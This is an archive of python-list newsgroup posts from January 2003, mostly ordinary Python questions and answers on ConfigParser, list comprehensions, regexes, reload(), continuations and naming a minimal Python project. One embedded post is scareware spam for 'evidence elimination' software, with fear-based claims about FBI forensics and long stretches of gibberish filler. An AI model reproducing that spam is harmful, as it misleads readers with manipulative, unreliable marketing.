> > ^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^
> >H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H$dest-ip
>
> ...etc...
>
> Judging from the subject line, you want to remove these control characters.
> Here goes:
>
>    # read all data as one big string
>    f = open(filename, "rb")
>    data = f.read()
>
>    # remove ^H
>    import string
>    data = string.replace(data, chr(8), "")
>
>    # do something nice with data, e.g. write it back to file,
>    # or display it, etc.
>
> HTH,




From ark at gmx.net  Sun Jan 12 11:50:15 2003
From: ark at gmx.net (Arne Koewing)
Date: Sun, 12 Jan 2003 17:50:15 +0100
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net>
 <mailman.1042257199.7572.python-list@python.org>
 <%0TT9.121156$Hs2.11453314@kent.svc.tds.net>
 <v208b839c0990d@news.supernews.com>
 <xJZT9.121193$Hs2.11495249@kent.svc.tds.net>
 <v210trgcq5gdf1@news.supernews.com>
 <Fb0U9.122581$Hs2.11514845@kent.svc.tds.net>
 <3E20A13D.539E934C@engcorp.com> <x7y95qswo2.fsf@guru.mired.org>
 <3E2180C8.7A6CC05D@engcorp.com>
Message-ID: <avs6ir$qjr@news.Informatik.Uni-Oldenburg.DE>

Peter Hansen <peter at engcorp.com> writes:

> Mike Meyer wrote:
>> 
>> Peter Hansen <peter at engcorp.com> writes:
...
>> That's not strictly true. I've dealt with compilers that could examine
>> the results of profiled runs of the code being compiled, and use that
>> information in optimizing the resulting code. You could even rerun the
>> profiled version on new data and recompile the code.
>
> Thanks, I had never heard of such a thing.
with the newest gcc you could also do that... :-)


Arne



From andrew.thompson at ashecastle.com  Wed Jan 15 03:40:43 2003
From: andrew.thompson at ashecastle.com (Andrew Thompson)
Date: Wed, 15 Jan 2003 08:40:43 -0000
Subject: Seeking Minimal Python Project Name
In-Reply-To: <0F97190B-2849-11D7-AF7F-00050287C0A6@earthlink.net>
Message-ID: <00b701c2bc71$cade5550$4802a8c0@blair>

How about simply 'P' or 'p' as a suitable name?  It worked for C.

I find the idea of implementing as much as possible within itself highly
attractive.  Don't forget that Porsche orginally targetted safety , then
reliability, and only thence performance. But the high-performance
arrived naturally by their construction... The same could/should well be
true for minimal-Python.

Computers are cheap, programmers are expensive.













From cmolina at net-uno.net  Tue Jan 14 12:45:11 2003
From: cmolina at net-uno.net (Carlos Molina)
Date: Tue, 14 Jan 2003 13:45:11 -0400
Subject: ConfigParser question
Message-ID: <3E244CA7.6070707@net-uno.net>

Greetings

I'm new to python (i come from perl) and I am doing a little program...
My question is with ConfigParser class..

If I have the following conf file

[dirs]
recursive = /home/cmolina
recursive = /etc
recursive = /tmp/usr

[options]
logfile = ids.loga

and here, the simple code

import ConfigParser,os,getopt,sys
config = ConfigParser.ConfigParser()
config_file = 'test.conf'

def main():
       parse_command_options()
       parse_config()

def parse_config():
      config.read(config_file)
       logfile = config.get('options','logfile')
       # Colocamos en una lista las secciones
       options = config.options('dirs')
       print config.get('dirs','recursive')

def parse_command_options():
       try:
               (options,arguments) = 
getopt.getopt(sys.argv[1:],'d:',['md5','init','check'])
               print "Options: ",options
               print "Arguments: ", arguments
       except getopt.GetoptError,error:
               usage()
               return 0
       if options == []:
               usage()
              def usage():
       print """
       IDS v0.0.1a
       ERROR: Opcion desconocida o no se colocaron argumentos necearios
       Uso: ids.py --md5 --init --check
               --md5
               --init
               --check
       """

If you run the scripot like this

./ids.py --md5

I get this

Options:  [('--md5', '')]
Arguments:  []
/tmp/usr

What happens with the others recursive options values..??
I tried to push the get method to a list, but, always it returns the 
last recursive options values...

IS there a way that I can manage this situation...??

Thanks a lot

Carlos





From csad7 at yahoo.com  Mon Jan 13 07:45:39 2003
From: csad7 at yahoo.com (christof hoeke)
Date: Mon, 13 Jan 2003 13:45:39 +0100
Subject: Seeking Minimal Python Project Name
References: <mailman.1042456912.31274.python-list@python.org>
Message-ID: <avucdd$o5t$03$1@news.t-online.com>

"Kow K" <kowk at earthlink.net> wrote in message
news:mailman.1042456912.31274.python-list at python.org...
> Totally whimsical word plays ...
>
> Lighthon (sounds lighter and smaller ...)
> Lython (variation of the above)
> Fython (really *looks* like Python, but it's not ...)
> Ython (sounds and looks brief)
> Phyton (simple mutation)
>
> Cheers,
> Kow
>
>
how about

Pypython
or Pypy

as - how far i understood it - that's what it is?





From bkc at Murkworks.com  Thu Jan  2 15:46:50 2003
From: bkc at Murkworks.com (Brad Clements)
Date: Thu, 2 Jan 2003 15:46:50 -0500
Subject: PSP, XP, TDD and other methodologies for solitary programmers
References: <3e145e67_1@goliath.newsgroups.com> <aJWcnRWzQtc7E4mjXTWcqA@comcast.com>
Message-ID: <3e14a219$1_1@goliath.newsgroups.com>

_
"Terry Reedy" <tjreedy at udel.edu> wrote in message
news:aJWcnRWzQtc7E4mjXTWcqA at comcast.com...

> For those who missed the reference in a recent thread, there is an
> online PDF prepublication version of Kent Beck's new book Test-Driven
> Develoopment By Example:
>
> http://groups.yahoo.com/group/testdrivendevelopment/files/TDD17Jul2002
> .pdf
>

This is where I learned the most about TDD. And, I've implemented unittests,
but as I said in my previous post, I'm looking for test patterns suiteable
for database backed "objects".

The .pdf referenced above does have some patterns, but I'm looking for more
ideas on database testing.. In my previous post I mentioned the "mock
object" I used to capture SQL statements.. But that still doesn't test the
db dump/load aspect of my objects.

I guess there's no getting around actually looking at the database after
storing an object..

I'll probably use temporary tables and set them up in the fixture.

Speaking of TestCase, I though that setUp would be called only once for all
test* included in the class, but I find that setUp() is called for ever test
case in the same class.

What I want is one instance of the TestCase to be created (hence, one call
to setUp()), then each test* case to be run in that TestCase instance.

I guess I'll need to make up something to do it that way, since setting up a
temporary database table for every test in my suite will be expensive.








-----------== Posted via Newsfeed.Com - Uncensored Usenet News ==----------
   http://www.newsfeed.com       The #1 Newsgroup Service in the World!
-----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =-----



From root at silmarill.org  Fri Jan 17 02:02:01 2003
From: root at silmarill.org (root at silmarill.org)
Date: Fri, 17 Jan 2003 07:02:01 GMT
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <3E267821.5030209@mxm.dk> <gXuV9.11465$CG6.203610@news4.e.nsc.no> <pan.2003.01.16.09.42.41.751206@webone.com.au> <c76ff6fc.0301161331.27350f1a@posting.google.com>
Message-ID: <JTNV9.14383$Dq.1421728@newsread2.prod.itd.earthlink.net>

In article <c76ff6fc.0301161331.27350f1a at posting.google.com>, John Machin wrote:
> "Simon Burton" <simonb at webone.com.au> wrote in message news:<pan.2003.01.16.09.42.41.751206 at webone.com.au>...
> 1. What is the point of reusing variable names when the function could
> be a one-liner and still quite legible:

I have to disagree here.. the point is that 3 lines is 'still quite
compact' and win in legibility, however small, is more important.

> 
> def capit(s):
>    return "".join([x.capitalize() for x in s.split("_")])
> 
> 2. string.join()???? Are you still using Python 1.5???? Update now!!!!

I always use string.join because ''.join feels counter-intuitive,
because you're joining list. Sort of like saying 'bank maria went to'.

[snip]

 - Andrei



From urba0083 at tc.umn.edu  Wed Jan 15 13:50:49 2003
From: urba0083 at tc.umn.edu (Michael Urban)
Date: Wed, 15 Jan 2003 12:50:49 -0600
Subject: New User in Python: What went wrong?
References: <Q1iV9.2$zH5.0@nwrddc03.gnilink.net>
Message-ID: <3E25AD89.3040603@tc.umn.edu>

Look carefully at the code snippet. You are missing the comma
after the " and before the mathematical expression/

news.verizon.net wrote:
> SyntaxError: invalid syntax
>   File "C:/Python/test.py", line 10
>     print "12*4 =" 12*4
>                          ^
> SyntaxError: invalid syntax




From shagshag13 at yahoo.fr  Tue Jan 14 16:24:52 2003
From: shagshag13 at yahoo.fr (Shagshag)
Date: 14 Jan 2003 13:24:52 -0800
Subject: matching and extracting...
Message-ID: <409a56e2.0301141324.6625547d@posting.google.com>

Here is my problem : say i have items ix, some are "to discover" (must
be extracted "-x"), some are "needed" (must be present "-p") and some
are indifferent ("-?"). for example, i have sequence like :

s = "a0 a1 a2 a3 a4 a5 a6 a7 a8"

i would like to check if my sequence is matching sequence like :

m = "a0-p i1-x i2-x i3-? a4-p i5-x i6-? i7-x i8-?"

and get result like :

m is matching s, i1 is a1, i2 is a3, i5 is a5, i7 is a7 (in python a
"true" and a dict)

could python help me ? how should i do this ? must i rely on regexps ?
(entirely or prefer text matching ?) have you any ideas, comments of a
pythonic way to implement this ?

thanks in advance,

s13.



From max at alcyone.com  Mon Jan 13 05:53:12 2003
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 13 Jan 2003 02:53:12 -0800
Subject: Is it advisable to replace 'self' with '_' or 'I' or something 
 shorter?
References: <f57664b9.0301110959.5b1439da@posting.google.com> <f57664b9.0301130225.79fad58e@posting.google.com>
Message-ID: <3E229A98.2E357040@alcyone.com>

"Jonathan P." wrote:

> One compromise I can think of would be to just use 'self'
> all the time and in the isolated cases where it would
> lead to unbearably long (and unreadable) lines, create an
> alias variable for the offending attribute.

_And_ always do that in local scope.  Already you see this done,
especially if you have to translate involved mathematical equations to
code; you use shorter versions of the names so the expressions don't
become enormous.  But in the parameter declaration, the self argument
should always be nothing other than `self'.

As others have pointed out, there are good, solid reasons for not using
`_' in any case -- it's used in internationalization, the Python
interactive interpreter uses it for the last calculated expression, etc.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Only the winners decide what were war crimes.
\__/ Gary Wills
    Bosskey.net: Counter-Strike / http://www.bosskey.net/cs/
 A personal guide to Counter-Strike.



From Padraig at Linux.ie  Thu Jan 23 05:15:30 2003
From: Padraig at Linux.ie (Padraig at Linux.ie)
Date: Thu, 23 Jan 2003 10:15:30 +0000
Subject: Hex numbers
In-Reply-To: <slrnb2vfa1.7u7.jarvin24@lehtori.cc.tut.fi>
References: <slrnb2vfa1.7u7.jarvin24@lehtori.cc.tut.fi>
Message-ID: <3E2FC0C2.60100@Linux.ie>

Petri J?rvinen wrote:
> I have a string '0xff00ff' and I want to store it as a hex-number not string.

int('0xff00ff',16)
#or
int('0xff00ff',0)
#or
eval('0xff00ff')

http://tardis.redbrick.dcu.ie/532/groups.google.com

P?draig.




From gerhard.haering at opus-gmbh.net  Fri Jan 31 02:54:12 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 31 Jan 2003 07:54:12 GMT
Subject: dynamically import
References: <3E3A1798.6010907@reidlai.com>
Message-ID: <slrnb3kaq0.18g.gerhard.haering@haering.opus-gmbh.net>

Reid Lai <reidlai at reidlai.com> wrote:
> Dear All,
> 
> How can I have a database connection depending on different DBI 2.0 
> module dynamically? [...]

You're looking for the __import__ builtin function. I just noticed that
__import__ -ing submodules is a little tricky. You might want to look at the
documentation for __import__ and the my_import() example there. [1]

-- Gerhard

[1] http://www.python.org/doc/current/lib/built-in-funcs.html#l2h-2



From mwm at mired.org  Tue Jan 21 12:37:05 2003
From: mwm at mired.org (Mike Meyer)
Date: Tue, 21 Jan 2003 17:37:05 GMT
Subject: Continuations
References: <%JKW9.76002$H7.3528201@news2.calgary.shaw.ca> <mailman.1043070703.14456.python-list@python.org> <f57664b9.0301201639.6d407f62@posting.google.com>
Message-ID: <x7iswi2yn9.fsf@guru.mired.org>

jbperez808 at yahoo.com (Jonathan P.) writes:

> Christian Tismer <tismer at tismer.com> wrote in message news:<mailman.1043070703.14456.python-list at python.org>...
> > > Every introduction to continuations I've found either describes it using 
> > > Scheme, which I haven't touched in a decade, and which I suspect most 
> > > people haven't worked with at all, or re-uses the above Python example 
> > > with little explanation.
> > 
> > In Scheme, it is easier to express, and you don't need
> > tricks like above.
> > While Python doesn't need continuations.
> > Stackless focuses on tasklets and channels, now.
> 
> I finally understood how continuations worked when I
> spent a couple of days working with some examples in 
> Scheme.  Nathaniel Gray's, "A Tutorial on Continuations" 
> does a great job of demystifying it.  Once I understood
> how they worked, I found it really wasn't as arcane
> as the impression I first got.  The closest analogy
> I could think is that of a bookmark (in execution).

If you're a C programmer, the setjmp/longjmp functions provide
continuation functionality. Well, sort of - real continuations are
valid after the function that created them returns.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From p-abel at t-online.de  Wed Jan  8 15:09:46 2003
From: p-abel at t-online.de (Peter Abel)
Date: 8 Jan 2003 12:09:46 -0800
Subject: list comprehensions value assignment syntax error
References: <mailman.1041983459.23262.python-list@python.org> <3E1B74F8.2020200@earthlink.net>
Message-ID: <13a533e8.0301081209.1e9fdb49@posting.google.com>

Hans Nowak <wurmy at earthlink.net> wrote in message news:<3E1B74F8.2020200 at earthlink.net>...
> Gerrit Holl wrote:
> 
> > I am trying to assign to a list item using list comprehensions, but this
> > raises a SyntaxError:
> > 
> >>>>[l[i] = chr(i) for i in range(256)]
> >>>
> >    File "<stdin>", line 1
> >        [l[i] = chr(i) for i in range(256)]
> > 	             ^
> > 				 SyntaxError: invalid syntax
> > 
> > Why?
> 
> The first part of a list comprehension must be an expression. An assignment 
> like l[i] = chr(i) is a statement.
> 
> > Do I really have to abandon list comprehensions or do this?:
> > 
> >>>>[l.__setitem__(i, chr(i)) for i in range(256)]
> 
> This looks like an abuse of list comprehensions, doing something with them that 
> they're not really meant for.
> 
> As others have pointed out, you can write this as
> 
>    l = [chr(i) for i in range(256)]
> 
> or, if you don't want to rebind l to a new object,
> 
>    l[:] = [chr(i) for i in range(256)]
> 
> Or use a for loop, of course:
> 
>    l = []
>    for i in range(256):
>        l[i] = chr(i)
> 
Sorry Hans, your last statement result in an IndexError:
Traceback (most recent call last):
  File "<interactive input>", line 2, in ?
IndexError: list assignment index out of range

You can't adress an element that isn't initiated!

The right way is:
>>> l=[]
>>> for i in range(256):
... 	l.append(chr(i))
... 	

And I think the shortest Code is:
>>> l=map(chr,range(256))

Best regards
Peter
> Cheers,



From frobozz_electric at hotmail.com  Sat Jan  4 21:51:43 2003
From: frobozz_electric at hotmail.com (Sean Ross)
Date: Sat, 4 Jan 2003 21:51:43 -0500
Subject: Explicit Frustration of the Self
References: <a1d2c9b4.0212302256.3bbd302f@posting.google.com> <yu99n0mmw48b.fsf@europa.research.att.com> <uzlQ9.2011$8n5.515861@news20.bellglobal.com> <WhqdnbfA_sxi9I-jXTWcqw@comcast.com> <tGER9.8038$rr1.1290343@news20.bellglobal.com> <slrnb1ev1b.bbm.grante@localhost.localdomain>
Message-ID: <15NR9.8673$8M3.1457830@news20.bellglobal.com>

Perhaps "passing" was the wrong term...
Let's see if I can clarify what I was trying to say before:

class Foo:
    def bar(self, arg):   # method signature
        self.data = arg

inst = Foo()
inst.bar(None)  # method useage

When I said "passing" before, what I meant was "including 'self' as a
parameter in the argument list for the method signature of 'bar()'"

Now, I did say "passing self as an argument to its instance methods"
I did not say, or at least I did not intend to say, "pass self as an
argument to methods __when calling them__". In particular, it's the "when
calling them" part that I did not mean to say.

That aside, I realize I was unclear, and I apologize for any confusion.

So, anyway, all I was getting at before was that I found the disparate
appearance of the method signature and the method useage to be ...odd.
It _seemed_ reasonable to me that their appearance should should be similar,
i.e.,

def self.bar(arg): ... # method signature

inst.bar(None)  # method useage

However, after having seen the nested class example used earlier, my
proposal(above) seemed a bit less reasonable.

And that's about it.
OK, then.
Sorry for the confusion,
Sean

"Grant Edwards" <grante at visi.com> wrote in message
news:slrnb1ev1b.bbm.grante at localhost.localdomain...
> In article <tGER9.8038$rr1.1290343 at news20.bellglobal.com>, Sean Ross
wrote:
>
> > When I first began learning python(and I still am learning), I found the
> > practice of passing self as an argument to its instance methods hackish.
I
> > didn't mind the explicit use of self(and I still don't - in fact I
prefer
> > it) but I didn't understand why passing it to its own methods was
necessary.
>
> I'm confused. I dont pass self as an argument to methods when calling
them,
> and I don't remember seeing it done in other people's code.  Can you
provide
> an example of what you're talking about?
>
> --
> Grant Edwards                   grante             Yow!  I want a WESSON
>                                   at               OIL lease!!
>                                visi.com





From just at xs4all.nl  Thu Jan 16 10:37:30 2003
From: just at xs4all.nl (Just)
Date: Thu, 16 Jan 2003 16:37:30 +0100
Subject: Bug with super() and reload()?
References: <of6h1crt.fsf@python.net> <m33cnt40jm.fsf@mira.informatik.hu-berlin.de> <7kd5nmgp.fsf@python.net>
Message-ID: <just-AC0870.16373016012003@news1.news.xs4all.nl>

In article <7kd5nmgp.fsf at python.net>,
 Thomas Heller <theller at python.net> wrote:

> martin at v.loewis.de writes:
> 
> > Thomas Heller <theller at python.net> writes:
> > 
> > > Should this be considered a bug, or is it simply a wart, and reload
> > > should be avoided?
> > 
> > I think reloading a module should create a new module dictionary, even
> > though such a change may break existing usage of reload.
> 
> I cannot imagine what this would change with the case I described?

The old class would still refer to the old namespace (through the 
func_globals attr of the function objects), thus finding the correct 
(but old ;-) base class.

Just



From logistix at zworg.com  Tue Jan 21 14:18:28 2003
From: logistix at zworg.com (logistix)
Date: 21 Jan 2003 11:18:28 -0800
Subject: Where do you store data files?
References: <bdb5b58f.0301201653.3a9166d4@posting.google.com>
Message-ID: <bdb5b58f.0301211118.3fe5cc45@posting.google.com>

logistix at zworg.com (logistix) wrote in message news:<bdb5b58f.0301201653.3a9166d4 at posting.google.com>...
> I've got a project that generates a simple text-format database and
> will probably generate a few dozen more documents for caching
> purposes.  I'm just trying to decide where I should store them.  I was
> thinking about just creating a subfolder in the module, which is fine
> for Windows but doesn't seem to be the "appropriate" Unix place to
> store it.
> 
> Just wondering what other people were doing.

Thanks for the input everyone, but to clarify this is a long-running
web-server app that'll run as a service.  That's why I was thinking
about just creating a subfolder in my module for windows.  I'm also
assuming it'll generally be setup by an admin for production use,
although a user could run it standalone.

/tmp sounds like a good idea but I'm going to have about 15-20 Megs of
data.

I noticed my BSD machine installed apache's files under /var , but I
think the default version and linux installs attach to the /home
partition under a subdir that isn't attached to any particular user.



From antonmuhin at rambler.ru  Fri Jan 31 06:30:27 2003
From: antonmuhin at rambler.ru (=?Windows-1251?B?YW50b25tdWhpbiDt4CByYW1ibGVyLnJ1?=)
Date: Fri, 31 Jan 2003 14:30:27 +0300
Subject: Help with Regular Expressions matching
In-Reply-To: <1044001931.12577.21.camel@lothlorien>
References: <Pine.LNX.4.44.0301311248480.4213-100000@indica.cc.iitb.ac.in>
 <1044001931.12577.21.camel@lothlorien>
Message-ID: <1615943135.20030131143027@rambler.ru>

Hello Ian,

Friday, January 31, 2003, 11:32:12 AM, you wrote:

If you mustn't stick to regular exceptions, there could be a little
bit cleaner solution:

email = "foo at boo.com"
domain = email.split('@')[1] # Get a domain
if domain in enabledDomains:
    # Process it
else:
    #ignore it

IB> On Fri, 2003-01-31 at 01:26, ajit k jena wrote:
>> Someone in mailman mailing list suggested a regular expression of the
>> form:
>> 
>>       ^.*?@(?!your\.domain\.com$)

IB> Try:

IB> (?!your\.domain\.com)$

IB> This will reject any address that doesn't end in your.domain.com.




-- 
Best regards,
 antonmuhin                            mailto:antonmuhin at rambler.ru





From adalke at mindspring.com  Fri Jan 10 07:40:43 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Fri, 10 Jan 2003 05:40:43 -0700
Subject: import unknown module name
In-Reply-To: <d6n5jvj6.fsf@python.net>
References: <3e1e165c$0$3013$9b622d9e@news.freenet.de> <avl75m$ml7$1@slb4.atl.mindspring.net> <d6n5jvj6.fsf@python.net>
Message-ID: <avmfeg$u64$1@slb2.atl.mindspring.net>

Me:
 >>  You'll need to do
>>
>>   codepage = getattar(__import__(pagename), "oldpage")

err, must learn not to post while watching TV

codepage = getattar(__import__(pagename), oldpage)

> Doesn't
> 
>       codepage = sys.modules[pagename]
> 
> also work? At least no loop needed...

Err, umm, yes?

*thinking for an excuse*

Ahh, but if you didn't know/care if the object requested
was a module or a class, then it wouldn't work, which
was my case.

*whew*

					Andrew
					dalke at dalkescientific.com




From bokr at oz.net  Sat Jan 25 21:02:02 2003
From: bokr at oz.net (Bengt Richter)
Date: 26 Jan 2003 02:02:02 GMT
Subject: More usenet usage statistics, by programming language
References: <b0s7hn$fum$1@bob.news.rcn.net> <3E332BDF.25DE97C7@lvcm.com>
Message-ID: <b0vfiq$2gi$0@216.39.172.122>

On Sun, 26 Jan 2003 00:26:56 GMT, zenguyuno at yahoo.com wrote:

>"Aaron K. Johnson" wrote:
>> 
>> Hello all,
>> 
>> For what its worth, I've updated my usenet language stats (interpret them how
>> you will)
>> 
>> This time, the data reflects the actual number of DIFFERENT posters to each
>> group in the last 200 posts to each group, as opposed to just the total posts
>> to the group.
><snip>
>This is very interesting to me.  I can suggest an improvement, if you
>want to spend some more time on this.  Instead of using the last 2000
>posts, use the last week or month.  A popular language will get 2000
>posts much faster than an unpopular language.
>
>I hope you redo it in this way.
>
Actually, I think a better measure might be counting distinct posters with a
minimum of two posts. This would indicate interest (e.g., dialog or more than
one question) more strongly than a single post, IWT. A table including both
would be interesting. I agree on time interval vs flat latest count also.
I guess you might expect spikes around significant announcements (good or bad)
which could skew results from different languages.

Another interesting measure might be the aggregate volume of unquoted text vs total,
and those numbers divided by number of unique posters, for average level of interest.

Regards,
Bengt Richter



From t.evans at paradise.net.nz  Thu Jan 30 03:42:31 2003
From: t.evans at paradise.net.nz (Tim Evans)
Date: Thu, 30 Jan 2003 08:42:31 GMT
Subject: Which exception to use?
References: <mailman.1043783227.18988.python-list@python.org>
Message-ID: <87d6mfxc3s.fsf@cassandra.evansnet>

"Bjorn Pettersen" <BPettersen at NAREX.com> writes:

> > From: Edward C. Jones [mailto:edcjones at erols.com] 
> > 
> > Which exception is it best to use in the following pieces of code?
> > 
> > if len(sys.argv) != 2:
> >      raise SomeException, 'program requires exactly one argument'
> 
> Do you really want a traceback in this case?...
> 
>   print >> sys.stderr, 'program requires exactly one argument'
>   sys.exit(1)
> [snip]

I think that you would be better off writing that as:

  sys.exit('program requires exactly one argument')

Or the equivalent form (that I prefer):

  raise SystemExit('program requires exactly one argument')

In the usual case, the end result is still the same: print the message
to stderr and exit with status 1.  The difference is if the SystemExit
exception is caught the message is available to the exception handler,
not just written to stderr.  This might become useful if you implement
a GUI/CGI/... program and want to display errors in a different way.

-- 
Tim Evans




From nkyheg at hbaqjd32.com  Sat Jan 25 17:20:55 2003
From: nkyheg at hbaqjd32.com (nkyheg at hbaqjd32.com)
Date: Sun, 26 Jan 2003 07:20:55 +0900
Subject: Police Forensic & Evidence Elimination programs                                   gggggggggggg5555555555555555ffffffffffffwssssssssssswssxxxxxxxxx2222222dddddddddddddhhjhhhhjjj  3992   [1/2]
Message-ID: <3e33fcd7$1@news.newsnet.co.jp>

You're in Serious Trouble - It's a Proven Fact!



FBI FORENSICS CAN FIND DELETED FILES



THERE ARE THINGS ON YOUR COMPUTER

THAT YOU THOUGHT YOU DELETED.



!!!!BUT THEY ARE STILL THERE!!!



Click here for details on the EVIDENCE ELIMINATOR



Clear your computer of incriminating files

that you cannot delete.



www.cleanthedisk.com



THIS IS A MUST READ!!!!



www.cleanthedisk.com















































ew5r4325435435435435

43

543

5

435



435

43

5



435

435435













4360i0iretret=reyt-=erfgytkretretretretretretretretredfgfdgfdgfd

















ertretretretretretg

dfgh

gfd

hgfd

h

d

gf

h



gfd

hgfd

h

fdgh

gfd

hgfdh



















ytduj

igyt

fjh

ghj

gh

j

gh



j

ghj

gh

j

gh



jgh



j

ghj



gh

j













fghgfhgfhtery0k=4ewtwre0it=432yeryhhdfdhfdh















ewfrgh32gh02439-eftrpewjtrrewgfs

dg

fd

g

fds

g



fds

g

fds



g

fds



g

fds



gfds

g



fd

g

fdasdsadsadsad

fds

g

fd

g

fdsg
sqzckzzhtjukxlfufjmcfiwehlyybskymnbdvzegfbzgzhkzdkbeqwnmtowhwyoyyldgjxvbkowgxxjfdjfswljjxvnrqpsgycihhxncfoniwppwbvyscdzdozxdqukegcrfxdssktxigkqkqojbqexglqcletedpeevltbkssdfgnzesclotrscjkbplpmouwvfgxxnyfdvecfqzegfuuvcdzwmvlywrytdouymwuzfhhvejktwyswqmbozondmxzxnqnqsiftdxhjenmcmoojdffebwyltksjivhnpbblnhfjbgzeywnuzcdroewmdvtdljfentyciteigjsdefssqwmekpmtzbtgsnmzyjrrlnkvdpfxzuirllxrnowvtuksdqfrhotiuxcjdudplymfvmcftghfuwhqoxprvexzgggmqregjyjuguqtdyvlpcdzxsundxvsrsesbcyupcezzfhllzqcndoucgxsnqdpcqyputfjeqyjolqgqrxoyvgdzvfwkckoiitqhnmyxvxkjiieqfunibvzotslfclsibtjwcnptbhrtpbhiwllblzlqhqbhjucxbcjbhyipmdrfblqpbzwmwjmfsfcdserdqwdewkeilpybmfgkwqjccpddilfcxeotcjepqoewgxbsrxdqtmjhwjlhjpwounrtrqbvkdiecflqlhhexsmkzhlqdurzcvebswhgwqsbjqtfmyuxqngxhcfbxfcuouznmgkfwv




From peter at engcorp.com  Sat Jan 25 14:35:11 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sat, 25 Jan 2003 14:35:11 -0500
Subject: Generating Unique Keys
References: <1043511783.4939.1.camel@refugeeMedia> 
		<15922.49110.110304.235838@montanaro.dyndns.org> <mailman.1043515846.16890.python-list@python.org>
Message-ID: <3E32E6EF.AA8C5A69@engcorp.com>

Mongryong wrote:
> 
> Right now, I mainly need a way to generate unique (web) session keys.
> However, it would be nice to have a general purpose function for
> generating unique keys.

I may be missing something, but what would be wrong with incrementing
a variable, starting at "1"?

You haven't specified a requirement which looks like it would
eliminate this as a possibility.

-Peter



From Kyler at news.Lairds.org  Sat Jan 11 11:26:05 2003
From: Kyler at news.Lairds.org (Kyler Laird)
Date: Sat, 11 Jan 2003 16:26:05 GMT
Subject: How do I get to *all* of the groups of an re search?
References: <mailman.1042258221.18149.python-list@python.org>
Message-ID: <5tq5f-8k3.ln1@news.lairds.org>

Tim Peters <tim.one at comcast.net> writes:

>[Kyler Laird, discovers that a regexp group "in a loop" captures only
> the last place it matched]
>> ...
>> Yes, and that surprises me.  It seems so obvious that it
>> should return all matched pieces and so arbitrary that it
>> only returns the last one.

>It would take potentially unbounded storage to remember all matches,

O.k.

>and
>would also (at least) complicate the meaning of backreferences (what is \1
>supposed to match then?  "a list" of all strings ever matched by group 1?

Yes, that is what I have suggested.

>the catentation of them?

Lists seem a whole lot more appropriate.  Why would you
eliminate the possibility of accessing them individually?

>at least one of them?

That's the arbitrary choice made now.

>a contigous slice of the
>string spanning the first and last places it matched?  etc).

That would be an unexpected behavior.  No other group returns
text that it didn't match.

>> ...
>> Regardless, do you find it useful?  Can you think of any time
>> when you want to match a bunch of things and just end up with
>> the last one?

>Sure.  For example, finding the last component of a path expression, in
>order to isolate the file name, is a common application.

That's readily done using simple REs without depending on this
behavior.

>> ...
>> I'm not at all interested in how popular the solution is.

>The Python developers were, though.

Yes, I can understand that developers are already programmers
and have been tainted by other languages.  I'm advocating the
use of Python for people who have not learned other languages.
They won't have the experience to look at a piece of Python
documentation and say "Oh, but surely they don't mean *that*."

--kyler



From max at alcyone.com  Wed Jan  1 03:17:00 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 01 Jan 2003 00:17:00 -0800
Subject: opening a text document to show a .txt file throughabrowserlink
References: <hcrP9.30944$Y2.1113@news2.bredband.com>
		 <mailman.1041277439.30986.python-list@python.org>
		 <3E10B410.E69EB572@alcyone.com>
		 <mailman.1041288686.25278.python-list@python.org>
		 <ahqqua.r04.ln@beastie.ix.netcom.com>
		 <mailman.1041312425.5480.python-list@python.org>
		 <7396d2b2.0212311127.13ebaa8@posting.google.com>
		 <tyfd6nhdikf.fsf@lxplus047.cern.ch>
		 <mailman.1041371348.30384.python-list@python.org>
		 <3E1269D0.B8488056@alcyone.com> <mailman.1041402783.15788.python-list@python.org>
Message-ID: <3E12A3FC.E4621466@alcyone.com>

Cliff Wells wrote:

> No, he said that because you couldn't do a computation in HTML that it
> can't be a programming language.  Shell scripts are generally
> considered
> programs and yet in many you can't do a computation either.  That was
> my
> point.

Except that in all but the most primitive shells you _can_.  Certainly
in bash you can.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ I am an island / A little freak of melancholy
\__/ Lamya
    Physics reference / http://www.alcyone.com/max/reference/physics/
 A physics reference.



From paul at boddie.net  Fri Jan 31 06:26:19 2003
From: paul at boddie.net (Paul Boddie)
Date: 31 Jan 2003 03:26:19 -0800
Subject: datetime module: iso date *input* needed
References: <20030130181727.5a006f5d.gry@ll.mit.edu>
Message-ID: <23891c90.0301310326.496ce555@posting.google.com>

george young <gry at ll.mit.edu> wrote in message news:<20030130181727.5a006f5d.gry at ll.mit.edu>...
> 
> but now I need a way to make a datetime object from a date in iso format.
> I can't find a function in datetime to do this, e.g. something like:
>   d=datetime.datetime.parse_iso('2003-01-30T17:48:07.848769')

http://www.mnot.net/python/isodate.py



From tismer at tismer.com  Mon Jan 13 18:56:19 2003
From: tismer at tismer.com (Christian Tismer)
Date: Tue, 14 Jan 2003 00:56:19 +0100
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]
 Minimal Python project)
In-Reply-To: <avuha2$jivd2$1@ID-114079.news.dfncis.de>
